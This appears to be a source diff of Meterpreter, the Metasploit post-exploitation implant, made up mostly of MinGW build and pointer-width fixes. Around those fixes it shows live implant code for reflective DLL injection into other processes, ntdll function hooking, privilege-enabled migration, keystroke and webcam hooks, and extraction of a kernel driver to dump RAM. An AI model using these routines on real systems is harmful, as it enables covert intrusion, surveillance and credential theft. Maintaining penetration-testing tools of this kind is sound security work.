dprintf("[fs_getwd] running ...");
Packet *response = met_api->packet.create_response(packet);
char *directory = NULL;
DWORD result;
@ -59,6 +60,7 @@ DWORD request_fs_getwd(Remote * remote, Packet * packet)
met_api->packet.add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory);
free(directory);
}
dprintf("[fs_getwd] Done");
return met_api->packet.transmit_response(result, remote, response);
}

View File

@ -16,6 +16,12 @@
#include "fs_local.h"
#include "search.h"
#ifdef __MINGW32__
const GUID MET_DBGUID_DEFAULT = {0xc8b521fb,0x5cf3,0x11ce,{0xad,0xe5,0x00,0xaa,0x00,0x44,0x77,0x3d}};
#else
#define MET_DBGUID_DEFAULT DBGUID_DEFAULT
#endif
/*
* Helper function to add a search result to the response packet.
*/
@ -583,7 +589,7 @@ DWORD wds3_search(WDS_INTERFACE * pWDSInterface, wchar_t * wpProtocol, wchar_t *
OutputDebugStringW(wpSQL);
#endif
hr = ICommandText_SetCommandText(pCommandText, &DBGUID_DEFAULT, wpSQL);
hr = ICommandText_SetCommandText(pCommandText, &MET_DBGUID_DEFAULT, wpSQL);
if (FAILED(hr)) {
BREAK_WITH_ERROR("[SEARCH] wds3_search: ICommandText_SetCommandText Failed", hr);
}

View File

@ -2,7 +2,7 @@
#define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_FS_SEARCH_H
#include <shlwapi.h>
#include <Searchapi.h>
#include <searchapi.h>
#include <msdasc.h>
#include <ntquery.h>
#include <cmdtree.h>

View File

@ -103,6 +103,7 @@ char *tcp_connection_states[] = {
"", "CLOSED", "LISTEN", "SYN_SENT", "SYN_RECV", "ESTABLISHED", "FIN_WAIT1", "FIN_WAIT2", "CLOSE_WAIT",
"CLOSING", "LAST_ACK", "TIME_WAIT", "DELETE_TCB", "UNKNOWN" };
#ifndef __MINGW32__
typedef struct _MIB_TCP6ROW_OWNER_MODULE {
UCHAR ucLocalAddr[16];
DWORD dwLocalScopeId;
@ -141,12 +142,13 @@ typedef struct {
MIB_UDP6ROW_OWNER_MODULE table[ANY_SIZE];
} MIB_UDP6TABLE_OWNER_MODULE, *PMIB_UDP6TABLE_OWNER_MODULE;
#endif
typedef DWORD (WINAPI * ptr_GetExtendedTcpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass,
ULONG Reserved);
typedef DWORD (WINAPI * ptr_GetExtendedUdpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass,
ULONG Reserved);
/*
* retrieve tcp table for win 2000 and NT4 ?
*/

View File

@ -14,7 +14,8 @@
#ifndef IPPROTO_IPV6
#define IPPROTO_IPV6 41
#endif
#ifndef in6addr_any
#if !defined(in6addr_any) && !defined(__MINGW32__)
extern IN6_ADDR in6addr_any;
#endif

View File

@ -1,8 +1,8 @@
#include "precomp.h"
#include "common_metapi.h"
#include <Sddl.h>
#include <Lm.h>
#include <sddl.h>
#include <lm.h>
#include <psapi.h>
typedef NTSTATUS(WINAPI *PRtlGetVersion)(LPOSVERSIONINFOEXW);

View File

@ -183,6 +183,10 @@ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet)
return ERROR_SUCCESS;
}
typedef BOOL (WINAPI *PEnumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
typedef DWORD (WINAPI *PGetModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, DWORD baseSize);
typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize);
/*
* Returns a list of all of the loaded image files and their base addresses to
* the requestor.
@ -191,11 +195,6 @@ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet)
*/
DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
{
BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base,
DWORD baseSize);
DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
DWORD pathSize);
Packet *response = met_api->packet.create_response(packet);
HMODULE *modules = NULL;
BOOLEAN valid = FALSE;
@ -204,6 +203,9 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
DWORD result = ERROR_SUCCESS;
DWORD needed = 0, actual, tries = 0;
DWORD index;
PEnumProcessModules enumProcessModules = NULL;
PGetModuleBaseName getModuleBaseName = NULL;
PGetModuleFileNameEx getModuleFileNameEx = NULL;
handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
@ -215,22 +217,28 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
// Open the process API
if (!(psapi = LoadLibrary("psapi")))
{
result = GetLastError();
break;
}
// Try to resolve the address of EnumProcessModules
if (!((LPVOID)enumProcessModules =
(LPVOID)GetProcAddress(psapi, "EnumProcessModules")))
if (!(enumProcessModules = (PEnumProcessModules)GetProcAddress(psapi, "EnumProcessModules")))
{
result = GetLastError();
break;
}
// Try to resolve the address of GetModuleBaseNameA
if (!((LPVOID)getModuleBaseName =
(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA")))
if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameA")))
{
result = GetLastError();
break;
}
// Try to resolve the address of GetModuleFileNameExA
if (!((LPVOID)getModuleFileNameEx =
(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA")))
if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExA")))
{
result = GetLastError();
break;
}
// Validate parameters
if (!handle)

View File

@ -5,6 +5,9 @@
#include "./../session.h"
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
typedef BOOL (WINAPI *PEnumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
typedef DWORD (WINAPI *PGetModuleBaseName)(HANDLE p, HMODULE mod, LPWSTR base, DWORD baseSize);
typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPWSTR path, DWORD pathSize);
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit );
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
@ -729,13 +732,9 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
{
Packet *response = met_api->packet.create_response(packet);
BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb,
LPDWORD needed);
DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPWSTR base,
DWORD baseSize);
DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPWSTR path,
DWORD pathSize);
PEnumProcessModules enumProcessModules = NULL;
PGetModuleBaseName getModuleBaseName = NULL;
PGetModuleFileNameEx getModuleFileNameEx = NULL;
HMODULE mod;
HANDLE psapi = NULL;
@ -769,13 +768,21 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
break;
}
// Try to resolve the necessary symbols
if ((!((LPVOID)enumProcessModules =
(LPVOID)GetProcAddress(psapi, "EnumProcessModules"))) ||
(!((LPVOID)getModuleBaseName =
(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameW"))) ||
(!((LPVOID)getModuleFileNameEx =
(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExW"))))
if (!(enumProcessModules = (PEnumProcessModules)GetProcAddress(psapi, "EnumProcessModules")))
{
result = GetLastError();
break;
}
// Try to resolve the address of GetModuleBaseNameA
if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameW")))
{
result = GetLastError();
break;
}
// Try to resolve the address of GetModuleFileNameExA
if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExW")))
{
result = GetLastError();
break;

View File

@ -7,7 +7,7 @@ VOID set_thread_register_value(LPCONTEXT, LPCSTR name, ULONG value);
typedef BOOL (WINAPI *PISWOW64PROCESS)(HANDLE, PBOOL);
static PISWOW64PROCESS pIsWow64Process = NULL;
BOOL IsWow64Process(HANDLE hProcess)
BOOL LocalIsWow64Process(HANDLE hProcess)
{
BOOL result = FALSE;
@ -118,8 +118,8 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet)
if (dwResult == ERROR_ACCESS_DENIED
&& dwMeterpreterArch == PROCESS_ARCH_X86
&& IsWow64Process(GetCurrentProcess())
&& !IsWow64Process(hProcess))
&& LocalIsWow64Process(GetCurrentProcess())
&& !LocalIsWow64Process(hProcess))
{
dprintf("[THREAD CREATE] Target is x64, attempting wow64 injection");

View File

@ -2,7 +2,7 @@
#include "common_metapi.h"
#include "keyboard.h"
#include <tchar.h>
#include <Psapi.h>
#include <psapi.h>
extern HMODULE hookLibrary;
extern HINSTANCE hAppInstance;

View File

@ -17,6 +17,8 @@
* Raw Input Messages.
*/
#ifndef __MINGW32__
DECLARE_HANDLE(HRAWINPUT);
/*
@ -138,18 +140,19 @@ typedef struct tagRAWINPUT {
} data;
} RAWINPUT, *PRAWINPUT, *LPRAWINPUT;
#endif
typedef UINT(WINAPI *f_GetRawInputData)(
__in HRAWINPUT hRawInput,
__in UINT uiCommand,
__out_bcount_part_opt(*pcbSize, return) LPVOID pData,
__inout PUINT pcbSize,
__in UINT cbSizeHeader);
HRAWINPUT hRawInput,
UINT uiCommand,
LPVOID pData,
PUINT pcbSize,
UINT cbSizeHeader);
typedef BOOL(WINAPI *f_RegisterRawInputDevices)(
__in_ecount(uiNumDevices) PCRAWINPUTDEVICE pRawInputDevices,
__in UINT uiNumDevices,
__in UINT cbSize);
PCRAWINPUTDEVICE pRawInputDevices,
UINT uiNumDevices,
UINT cbSize);
typedef DWORD(WINAPI *f_QueryFullProcessImageNameW) (HANDLE, DWORD, LPTSTR, PDWORD);
typedef DWORD(WINAPI *f_GetProcessImageFileNameW) (HANDLE, LPTSTR, DWORD);
typedef DWORD(WINAPI *f_GetProcessImageFileNameW) (HANDLE, LPTSTR, DWORD);

View File

@ -14,7 +14,7 @@
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <dshow.h>
#pragma comment(lib, "strmiids")
extern "C" {
#include "common.h"
#include "webcam.h"

View File

@ -0,0 +1,66 @@
// Microsoft Visual C++ generated resource script.
//
#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
// #include "afxres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// English (United States) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
//LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//
1 TEXTINCLUDE
BEGIN
"resource.h\0"
END
2 TEXTINCLUDE
BEGIN
"#include ""afxres.h""\r\n"
"\0"
END
3 TEXTINCLUDE
BEGIN
"\r\n"
"\0"
END
#endif // APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// FILE
//
104 FILE "./binaries/winpmem_x64.sys"
105 FILE "./binaries/winpmem_x86.sys"
106 FILE "./binaries/fcat.exe"
#endif // English (United States) resources
/////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
/////////////////////////////////////////////////////////////////////////////
#endif // not APSTUDIO_INVOKED

File diff suppressed because it is too large Load Diff

View File

@ -9,6 +9,10 @@ extern "C" {
#define RDIDLL_NOEXPORT
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#ifndef min
#define min(x,y) ((x)<(y)?(x):(y))
#endif
// Required so that use of the API works.
MetApi* met_api = NULL;
@ -70,75 +74,88 @@ extern "C" {
#include "winpmem_meterpreter.h"
int WinPmem_meterpreter::extract_file_(__int64 resource_id, TCHAR *filename)
int WinPmem_meterpreter::extract_file_(__int64 resource_id, TCHAR* filename)
{
int result = -1;
HANDLE out_fd = INVALID_HANDLE_VALUE;
// Locate the driver resource in the .EXE file.
HRSRC hRes = FindResource(hAppInstance, MAKEINTRESOURCE(resource_id), L"FILE");
if (hRes == NULL) {
dprintf("[WINPMEM] Could not locate driver resource.");
goto error;
do
{
if (hRes == NULL)
{
dprintf("[WINPMEM] Could not locate driver resource.");
break;
}
HGLOBAL hResLoad = LoadResource(hAppInstance, hRes);
if (hResLoad == NULL)
{
dprintf("[WINPMEM] Could not load driver resource.");
break;
}
VOID* lpResLock = LockResource(hResLoad);
if (lpResLock == NULL)
{
dprintf("[WINPMEM] Could not lock driver resource.");
break;
}
DWORD size = SizeofResource(hAppInstance, hRes);
// Now open the filename and write the driver image on it.
HANDLE out_fd = CreateFile(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (out_fd == INVALID_HANDLE_VALUE)
{
dprintf("[WINPMEM] Can not create temporary file.");
break;
};
if (!WriteFile(out_fd, lpResLock, size, &size, NULL))
{
dprintf("[WINPMEM] Can not write to temporary file.");
break;
}
result = 0;
} while (0);
if (out_fd != NULL && out_fd != INVALID_HANDLE_VALUE)
{
CloseHandle(out_fd);
}
HGLOBAL hResLoad = LoadResource(hAppInstance, hRes);
if (hResLoad == NULL) {
dprintf("[WINPMEM] Could not load driver resource.");
goto error;
}
VOID *lpResLock = LockResource(hResLoad);
if (lpResLock == NULL) {
dprintf("[WINPMEM] Could not lock driver resource.");
goto error;
}
DWORD size = SizeofResource(hAppInstance, hRes);
// Now open the filename and write the driver image on it.
HANDLE out_fd = CreateFile(filename, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (out_fd == INVALID_HANDLE_VALUE) {
dprintf("[WINPMEM] Can not create temporary file.");
goto error_resource;
};
if (!WriteFile(out_fd, lpResLock, size, &size, NULL)) {
dprintf("[WINPMEM] Can not write to temporary file.");
goto error_file;
}
CloseHandle(out_fd);
return 1;
error_file:
CloseHandle(out_fd);
error_resource:
error :
return -1;
return result;
};
HANDLE WinPmem_meterpreter::get_fd() {
HANDLE WinPmem_meterpreter::get_fd()
{
return fd_;
}
uint64_t WinPmem_meterpreter::get_max_physical_memory() {
uint64_t WinPmem_meterpreter::get_max_physical_memory()
{
return max_physical_memory_;
}
int WinPmem_meterpreter64::extract_driver() {
int WinPmem_meterpreter64::extract_driver()
{
// 64 bit drivers use PTE acquisition by default.
default_mode_ = PMEM_MODE_PTE;
if (!driver_filename_) {
if (!driver_filename_)
{
TCHAR path[MAX_PATH + 1];
TCHAR filename[MAX_PATH + 1];
// Gets the temp path env string (no guarantee it's a valid path).
if (!GetTempPath(MAX_PATH, path)) {
if (!GetTempPath(MAX_PATH, path))
{
dprintf("[WINPMEM] Unable to determine temporary path.");
goto error;
return -1;
}
GetTempFileName(path, service_name, 0, filename);
@ -150,23 +167,23 @@ int WinPmem_meterpreter64::extract_driver() {
dprintf("[WINPMEM] Extracting driver to %s", driver_filename_);
return extract_file_(WINPMEM_64BIT_DRIVER, driver_filename_);
error:
return -1;
}
int WinPmem_meterpreter32::extract_driver() {
int WinPmem_meterpreter32::extract_driver()
{
// 32 bit acquisition defaults to physical device.
default_mode_ = PMEM_MODE_PHYSICAL;
if (!driver_filename_) {
if (!driver_filename_)
{
TCHAR path[MAX_PATH + 1];
TCHAR filename[MAX_PATH + 1];
// Gets the temp path env string (no guarantee it's a valid path).
if (!GetTempPath(MAX_PATH, path)) {
if (!GetTempPath(MAX_PATH, path))
{
dprintf("[WINPMEM] Unable to determine temporary path.");
goto error;
return -1;
}
GetTempFileName(path, service_name, 0, filename);
@ -178,9 +195,6 @@ int WinPmem_meterpreter32::extract_driver() {
dprintf("[WINPMEM] Extracting driver to %s", driver_filename_);
return extract_file_(WINPMEM_32BIT_DRIVER, driver_filename_);
error:
return -1;
}
WinPmem_meterpreter *WinPmemFactory()
@ -188,7 +202,8 @@ WinPmem_meterpreter *WinPmemFactory()
SYSTEM_INFO sys_info = {0};
GetNativeSystemInfo(&sys_info);
switch (sys_info.wProcessorArchitecture) {
switch (sys_info.wProcessorArchitecture)
{
case PROCESSOR_ARCHITECTURE_AMD64:
return new WinPmem_meterpreter64();
@ -216,7 +231,8 @@ DWORD dump_ram(Remote *remote, Packet *packet)
BOOL acquire_pagefile = FALSE;
status = pmem_handle->install_driver();
if (status > 0) {
if (status > 0)
{
pmem_handle->set_acquisition_mode(mode);
result = WINPMEM_ERROR_SUCCESS;
}
@ -233,7 +249,8 @@ DWORD dump_ram(Remote *remote, Packet *packet)
// Get the memory ranges.
if (!DeviceIoControl(pmem_handle->get_fd(), PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
sizeof(info), &size, NULL)) {
sizeof(info), &size, NULL))
{
dprintf("[WINPMEM] Failed to get memory geometry");
result = WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY;
goto end;
@ -246,7 +263,8 @@ DWORD dump_ram(Remote *remote, Packet *packet)
WinpmemContext *ctx;
// Allocate storage for the Winpmem context
if (!(ctx = (WinpmemContext*)calloc(1, sizeof(WinpmemContext)))) {
if (!(ctx = (WinpmemContext*)calloc(1, sizeof(WinpmemContext))))
{
dprintf("[WINPMEM] Failed to allocate memory");
result = WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY;
goto end;
@ -302,31 +320,36 @@ static int winpmem_meterpreter_copy_memory(uint64_t start, uint64_t end,
{
LARGE_INTEGER large_start;
if (start >= ctx->winpmem->get_max_physical_memory()) {
if (start >= ctx->winpmem->get_max_physical_memory())
{
return 0;
};
// Clamp the region to the top of physical memory.
if (end > ctx->winpmem->get_max_physical_memory()) {
if (end > ctx->winpmem->get_max_physical_memory())
{
end = ctx->winpmem->get_max_physical_memory();
};
while (start < end) {
while (start < end)
{
DWORD to_write = (DWORD)min(bufferSize - *bytesRead, end - start);
DWORD bytes_read = 0;
large_start.QuadPart = start;
if (0xFFFFFFFF == SetFilePointerEx(
ctx->winpmem->get_fd(), large_start, NULL, FILE_BEGIN)) {
ctx->winpmem->get_fd(), large_start, NULL, FILE_BEGIN))
{
dprintf("[WINPMEM] Failed to seek in the pmem device.");
goto error;
return 0;
};
if (!ReadFile(ctx->winpmem->get_fd(), reinterpret_cast<char*>(buffer)+*bytesRead, to_write, &bytes_read, NULL) ||
bytes_read != to_write) {
bytes_read != to_write)
{
dprintf("[WINPMEM] Failed to Read memory.");
goto error;
return 0;
};
*bytesRead += bytes_read;
@ -334,23 +357,22 @@ static int winpmem_meterpreter_copy_memory(uint64_t start, uint64_t end,
start += bytes_read;
};
return 1;
error:
return 0;
};
static DWORD winpmem_channel_read(Channel *channel, Packet *request,
static DWORD winpmem_channel_read(Channel* channel, Packet* request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
{
WinpmemContext *ctx = (WinpmemContext *)context;
WinpmemContext* ctx = (WinpmemContext*)context;
uint64_t offset = ctx->offset;
*bytesRead = 0;
if (ctx->index >= ctx->pmem_info.NumberOfRuns.QuadPart) {
if (ctx->index >= ctx->pmem_info.NumberOfRuns.QuadPart)
{
dprintf("[WINPMEM] Memory end reached.");
return ERROR_SUCCESS;
}
if (ctx->pmem_info.Run[ctx->index].start > ctx->offset) {
if (ctx->pmem_info.Run[ctx->index].start > ctx->offset)
{
uint64_t padding_size = ctx->pmem_info.Run[ctx->index].start - ctx->offset;
DWORD padding_size_max = (DWORD)min(padding_size, bufferSize);
ZeroMemory(buffer, padding_size_max);
@ -358,18 +380,21 @@ static DWORD winpmem_channel_read(Channel *channel, Packet *request,
offset += *bytesRead;
}
if (bufferSize - *bytesRead > 0) {
if (bufferSize - *bytesRead > 0)
{
uint64_t end = min(ctx->pmem_info.Run[ctx->index].length, bufferSize - *bytesRead);
end += offset;
DWORD status = winpmem_meterpreter_copy_memory(offset, end, ctx, buffer, bufferSize, bytesRead);
if (status == 0) {
if (status == 0)
{
dprintf("[WINPMEM] Failed in winpmem_meterpreter_copy_memory.");
}
}
ctx->offset += *bytesRead;
if (ctx->offset >= ctx->pmem_info.Run[ctx->index].start + ctx->pmem_info.Run[ctx->index].length) {
if (ctx->offset >= ctx->pmem_info.Run[ctx->index].start + ctx->pmem_info.Run[ctx->index].length)
{
ctx->index++;
}
return ERROR_SUCCESS;

View File

@ -1,4 +1,4 @@
#! /bin/sh
#!/bin/bash
# Guess values for system-dependent variables and create Makefiles.
# Generated by GNU Autoconf 2.65 for libjpeg 8.0.
#

View File

@ -565,7 +565,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
{
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL));
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
{
dprintf("[MIGRATE] Got SeDebugPrivilege!");
}

View File

@ -2,7 +2,7 @@
#include "base_inject.h"
#include "remote_thread.h"
#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
#include <Tlhelp32.h>
#include <tlhelp32.h>
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
// 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
@ -386,7 +386,7 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV
// Transition this wow64 process into native x64 and call pX64function( ctx )
// The native function will use the native Win64 API's to create a remote thread in the target process.
if( !pExecuteX64( pX64function, (DWORD)ctx ) )
if( !pExecuteX64( pX64function, (DWORD)(DWORD_PTR)ctx ) )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
@ -539,7 +539,7 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR ref
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
lpReflectiveLoader = (LPVOID)((DWORD_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
// First we try to inject by directly creating a remote thread in the target process
if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )

View File

@ -83,7 +83,7 @@ VOID core_update_desktop(Remote * remote, DWORD dwSessionID, char * cpStationNam
temp_session = remote->curr_sess_id;
// A session id of -1 resets the state back to the servers real session id
if (dwSessionID = -1)
if (-1 == dwSessionID)
{
dwSessionID = remote->orig_sess_id;
}

View File

@ -104,8 +104,8 @@ typedef struct _SHELLCODE_CTX {
/* Global offset */
DWORD offset;
/* Allocated memory sections */
DWORD file_address;
DWORD mapped_address;
DWORD_PTR file_address;
DWORD_PTR mapped_address;
DWORD size_map;
/* Hook stub functions */
@ -333,23 +333,22 @@ void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub,
bytes = 5;
/* Create the stub */
WriteProcessMemory((HANDLE)-1, stub, (char *)address,
WriteProcessMemory((HANDLE)-1, stub, (LPVOID)address,
bytes, &written);
*(PBYTE)(stub + bytes) = 0xE9;
*(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5);
*(DWORD *)(stub + bytes + 1) = (DWORD)((DWORD_PTR)address - ((DWORD_PTR)stub + 5));
/* Patch original function */
/* Fix protection */
VirtualQuery((char *)address, &mbi_thunk,
VirtualQuery((LPVOID)address, &mbi_thunk,
sizeof(MEMORY_BASIC_INFORMATION));
VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
/* Insert jump */
*(PBYTE)address = 0xE9;
*(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5);
*(DWORD *)(address + 1) = (DWORD)((DWORD_PTR)hook - ((DWORD_PTR)address + 5));
/* Restore protection */
@ -424,7 +423,7 @@ void install_hooks(SHELLCODE_CTX *ctx)
}
/* Restore given function */
void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub)
void restore_function(SHELLCODE_CTX *ctx, DWORD_PTR address, unsigned char *stub)
{
DWORD protect;
ULONG bytes;
@ -436,13 +435,13 @@ void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub)
/* Patch original function */
/* Fix protection */
VirtualQuery((char *)address, &mbi_thunk,
VirtualQuery((LPVOID)address, &mbi_thunk,
sizeof(MEMORY_BASIC_INFORMATION));
VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
/* Copy bytes back to function */
WriteProcessMemory((HANDLE)-1, (char *)address, stub,
WriteProcessMemory((HANDLE)-1, (LPVOID)address, stub,
bytes, &written);
/* Restore protection */
@ -477,24 +476,24 @@ void remove_hooks(SHELLCODE_CTX *ctx)
lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose");
/* NtMapViewOfSection */
restore_function(ctx, (DWORD)lNtMapViewOfSection,
restore_function(ctx, (DWORD_PTR)lNtMapViewOfSection,
ctx->s_NtMapViewOfSection);
/* NtQueryAttributesFile */
restore_function(ctx, (DWORD)lNtQueryAttributesFile,
restore_function(ctx, (DWORD_PTR)lNtQueryAttributesFile,
ctx->s_NtQueryAttributesFile);
/* NtOpenFile */
restore_function(ctx, (DWORD)lNtOpenFile, ctx->s_NtOpenFile);
restore_function(ctx, (DWORD_PTR)lNtOpenFile, ctx->s_NtOpenFile);
/* NtCreateSection */
restore_function(ctx, (DWORD)lNtCreateSection, ctx->s_NtCreateSection);
restore_function(ctx, (DWORD_PTR)lNtCreateSection, ctx->s_NtCreateSection);
/* NtOpenSection */
restore_function(ctx, (DWORD)lNtOpenSection, ctx->s_NtOpenSection);
restore_function(ctx, (DWORD_PTR)lNtOpenSection, ctx->s_NtOpenSection);
/* NtClose */
restore_function(ctx, (DWORD)lNtClose, ctx->s_NtClose);
restore_function(ctx, (DWORD_PTR)lNtClose, ctx->s_NtClose);
}
/* Map file in memory as section */
@ -513,14 +512,14 @@ void map_file(SHELLCODE_CTX *ctx)
* First, try to map the file at ImageBase
*
*/
ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,
ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,
nt->OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/* No success, let the system decide.. */
if (ctx->mapped_address == 0) {
ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)NULL,
ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)NULL,
nt->OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
@ -593,7 +592,7 @@ HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength)
ctx->liblen = (int)strlen(ctx->libname) + 1;
// The address of the raw buffer
ctx->file_address = (DWORD)buffer;
ctx->file_address = (DWORD_PTR)buffer;
// Map the buffer into memory
map_file(ctx);

View File

@ -132,5 +132,5 @@ VOID rand_xor_key(BYTE buffer[4])
BOOL is_null_guid(BYTE guid[sizeof(GUID)])
{
return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(guid)) == 0 ? TRUE : FALSE;
}
return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(GUID)) == 0 ? TRUE : FALSE;
}

View File

@ -1,7 +1,7 @@
#ifndef _METERPRETER_METSRV_PACKET_ENCRYPTION_H
#define _METERPRETER_METSRV_PACKET_ENCRYPTION_H
#include <Windows.h>
#include <windows.h>
#define AES256_BLOCKSIZE 16
#define ENC_FLAG_NONE 0x0

View File

@ -312,12 +312,15 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
PCHAR libraryPath;
DWORD flags = 0;
BOOL bLibLoadedReflectivly = FALSE;
dprintf("[LOADLIB] here 1");
Command *first = extensionCommands;
do
{
dprintf("[LOADLIB] here 2");
libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
dprintf("[LOADLIB] here 3");
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
// Invalid library path?
@ -326,6 +329,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
res = ERROR_INVALID_PARAMETER;
break;
}
dprintf("[LOADLIB] here 4");
// If the lib does not exist locally, but is being uploaded...
if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
@ -333,6 +337,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
PCHAR targetPath;
Tlv dataTlv;
dprintf("[LOADLIB] here 5");
// Get the library's file contents
if ((packet_get_tlv(packet, TLV_TYPE_DATA,
&dataTlv) != ERROR_SUCCESS) ||
@ -343,13 +348,16 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
break;
}
dprintf("[LOADLIB] here 6");
